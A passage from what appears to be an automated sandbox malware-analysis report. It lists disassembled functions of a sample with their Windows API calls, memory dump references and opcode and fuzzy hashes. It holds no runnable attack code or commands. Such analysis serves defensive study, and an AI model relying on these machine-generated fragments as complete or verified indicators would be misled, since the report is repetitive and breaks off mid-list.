                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Window$LongParentVisible
                                              • String ID:
                                              • API String ID: 506644340-0
                                              • Opcode ID: fe4c61741333270e4623342e0d7f1f3ec2012c41c14a595e37a6f2500dd2c416
                                              • Instruction ID: 3351c3904728de0a3e72a05dec2c27703c42c80aef493d6caa12e64a2243ae10
                                              • Opcode Fuzzy Hash: fe4c61741333270e4623342e0d7f1f3ec2012c41c14a595e37a6f2500dd2c416
                                              • Instruction Fuzzy Hash: 6911D53274062067DA223B658C05BAF766DBF44794F06016AFC45A72A1DB78DC9183AC
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0052B4D4 Relevance: 6.1, APIs: 4, Instructions: 75COMMON
                                              Download Yara Rule
                                              APIs
                                              • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002,?,?,?,00000000), ref: 0052B517
                                              • GetCurrentProcess.KERNEL32(?,00000000), ref: 0052B527
                                              • DuplicateHandle.KERNEL32(00000000), ref: 0052B52E
                                              • SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 0052B54B
                                                • Part of subcall function 00527000: EnterCriticalSection.KERNEL32(?), ref: 0052702C
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: CurrentProcess$CriticalDuplicateEnterFileHandlePointerSection
                                              • String ID:
                                              • API String ID: 2486953806-0
                                              • Opcode ID: 8086bc8d3f7d2d27d7b64255de7b41ec57d305a7217ceee65f6c4d11688e204e
                                              • Instruction ID: e4e0298901d0037ae758d977944b1f85bc1b2e51ce5f3918d263d0445c67d04b
                                              • Opcode Fuzzy Hash: 8086bc8d3f7d2d27d7b64255de7b41ec57d305a7217ceee65f6c4d11688e204e
                                              • Instruction Fuzzy Hash: 1431C2B5A0021AAFDB01CFA8D946BAA7BF4BF09310F104154F911EB2A1D771AD10DF60
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 004024F8 Relevance: 6.1, APIs: 4, Instructions: 57threadCOMMON
                                              Download Yara Rule
                                              APIs
                                              • __EH_prolog3.LIBCMT ref: 004024FF
                                                • Part of subcall function 00405020: __EH_prolog3.LIBCMT ref: 00405027
                                              • __strdup.LIBCMT ref: 00402521
                                              • GetCurrentThread.KERNEL32 ref: 0040254E
                                              • GetCurrentThreadId.KERNEL32 ref: 00402557
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: CurrentH_prolog3Thread$__strdup
                                              • String ID:
                                              • API String ID: 4206445780-0
                                              • Opcode ID: 2b99372d58086ae64c2f0ee1c128180cc71a82f837300380eae51a685fc9eb41
                                              • Instruction ID: 9ebd4c973e057e9f7b0bb97c0aebdf73d332632a5793aae9f61c648c1f75cbf2
                                              • Opcode Fuzzy Hash: 2b99372d58086ae64c2f0ee1c128180cc71a82f837300380eae51a685fc9eb41
                                              • Instruction Fuzzy Hash: 4E21B2B0800B408FC3219F7A954524AFBF4BFA4304F10892FD19AD7B62DBB4A445CF09
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040C099 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON
                                              Download Yara Rule
                                              APIs
                                              • SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 0040C0C5
                                              • SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 0040C0F0
                                              • GetCapture.USER32 ref: 0040C102
                                              • SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 0040C111
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: MessageSend$Capture
                                              • String ID:
                                              • API String ID: 1665607226-0
                                              • Opcode ID: fc9763bdb889aa68bdb5cfcc9186aa46128093ab7cd88e858a7c26fbc82e3d3b
                                              • Instruction ID: 9dbba92313113593ab19fd08e8935adb45ddef9db2b3ea58cf029b5b245ee52e
                                              • Opcode Fuzzy Hash: fc9763bdb889aa68bdb5cfcc9186aa46128093ab7cd88e858a7c26fbc82e3d3b
                                              • Instruction Fuzzy Hash: 4B017131340240B7DB316B629CCDF9B3E7ADBC9B10F150179B604AA1E7C9B58800D624
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00429549 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                              • String ID:
                                              • API String ID: 3016257755-0
                                              • Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                              • Instruction ID: 15162400fe5ed120062c967575c887c82a3f5d125f756eafae200f46dd3bd9bb
                                              • Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                              • Instruction Fuzzy Hash: E511457320015AFBCF165E85DC11CEE3F62BB1C354F95841AFA1855131D73ACAB2AB89
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040D178 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                              Download Yara Rule
                                              APIs
                                              • FindResourceA.KERNEL32(?,?,000000F0), ref: 0040D19E
                                              • LoadResource.KERNEL32(?,00000000), ref: 0040D1AA
                                              • LockResource.KERNEL32(00000000), ref: 0040D1B7
                                              • FreeResource.KERNEL32(00000000), ref: 0040D1D3
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Resource$FindFreeLoadLock
                                              • String ID:
                                              • API String ID: 1078018258-0
                                              • Opcode ID: 97cbfc85139264ca3be1ff039ea67504094b5eb2b5f5c64192d2563a46477fbb
                                              • Instruction ID: 842ba1b041bbaaacf315c47a0c7a890403c43998811e593d5632114a66b734f0
                                              • Opcode Fuzzy Hash: 97cbfc85139264ca3be1ff039ea67504094b5eb2b5f5c64192d2563a46477fbb
                                              • Instruction Fuzzy Hash: ECF0C236600211BBD7105FEA9C8896BB76CEF84760709407AFE06B7251DFB8CD058668
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040445F Relevance: 6.0, APIs: 4, Instructions: 32COMMON
                                              Download Yara Rule
                                              APIs
                                              • EnableWindow.USER32(?,00000001), ref: 0040447F
                                              • GetActiveWindow.USER32 ref: 0040448A
                                              • SetActiveWindow.USER32(?,?,00000024,004010ED), ref: 00404498
                                              • FreeResource.KERNEL32(?,?,00000024,004010ED), ref: 004044B4
                                                • Part of subcall function 0040679B: EnableWindow.USER32(?,?), ref: 004067AC
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Window$ActiveEnable$FreeResource
                                              • String ID:
                                              • API String ID: 253586258-0
                                              • Opcode ID: 4e62850a1db80e85bed36a901d46aa205f5796934164b592d623b8d50500ddc6
                                              • Instruction ID: 45f345b8e58fc637bc3515806559a950e6272130ab5f7d6f90bfb36839302a63
                                              • Opcode Fuzzy Hash: 4e62850a1db80e85bed36a901d46aa205f5796934164b592d623b8d50500ddc6
                                              • Instruction Fuzzy Hash: 8AF04F34900614DBCF21EF65CD456AEB7B1BF88706B20513AE542726E0DB7A5D40CF69
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00428668 Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                              Download Yara Rule
                                              APIs
                                              • __getptd.LIBCMT ref: 00428674
                                                • Part of subcall function 0042269C: __getptd_noexit.LIBCMT ref: 0042269F
                                                • Part of subcall function 0042269C: __amsg_exit.LIBCMT ref: 004226AC
                                              • __getptd.LIBCMT ref: 0042868B
                                              • __amsg_exit.LIBCMT ref: 00428699
                                              • __lock.LIBCMT ref: 004286A9
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                              • String ID:
                                              • API String ID: 3521780317-0
                                              • Opcode ID: a60ba35ba03972be5e2f4401d228fee49e6f86e568c304072040a9a33187613a
                                              • Instruction ID: 406e1b13a9e571fc708e7be6465d7038aa1d383ccdf49edfd7a7ecb13614d32d
                                              • Opcode Fuzzy Hash: a60ba35ba03972be5e2f4401d228fee49e6f86e568c304072040a9a33187613a
                                              • Instruction Fuzzy Hash: 7CF06D32B027249ADB20BB66B90275E73A0AF00718F95455FE544972D2CFBCA9118B5D
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00527216 Relevance: 6.0, APIs: 4, Instructions: 27threadCOMMON
                                              Download Yara Rule
                                              APIs
                                              • GetWindowThreadProcessId.USER32(?,00000000), ref: 00527225
                                              • GetCurrentProcessId.KERNEL32 ref: 0052722B
                                              • SetActiveWindow.USER32(?), ref: 00527257
                                              • SetForegroundWindow.USER32(?), ref: 00527260
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Window$Process$ActiveCurrentForegroundThread
                                              • String ID:
                                              • API String ID: 3948905980-0
                                              • Opcode ID: db9d5e0e6da91830297e44e57aba5498daf9c1e0ca5fadd904d05eebf4020c9c
                                              • Instruction ID: ec9065aa448913e800850ac21ba0638b41f90426f71df899db241183ce8aa57f
                                              • Opcode Fuzzy Hash: db9d5e0e6da91830297e44e57aba5498daf9c1e0ca5fadd904d05eebf4020c9c
                                              • Instruction Fuzzy Hash: A2F0DA36014208EFCB019F51EC09A997FB5FF29346F608015F502E92A0D7719A59EF54
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00414380 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 293COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: H_prolog3__memset
                                              • String ID:
                                              • API String ID: 3055368530-3916222277
                                              • Opcode ID: 30f75ac2e7f3b2b920a0faa193e39b947f47de367af42d0f71548d65e9e6e6b9
                                              • Instruction ID: 4591b301131d33a63db2240b303f0a72034705d455b15d408538a69687d636e9
                                              • Opcode Fuzzy Hash: 30f75ac2e7f3b2b920a0faa193e39b947f47de367af42d0f71548d65e9e6e6b9
                                              • Instruction Fuzzy Hash: 0DC14E70A00604DFCB24DFA9C884AADB7F5BF88708F24495EE446EB351DB79A981CF14
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0042B24F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
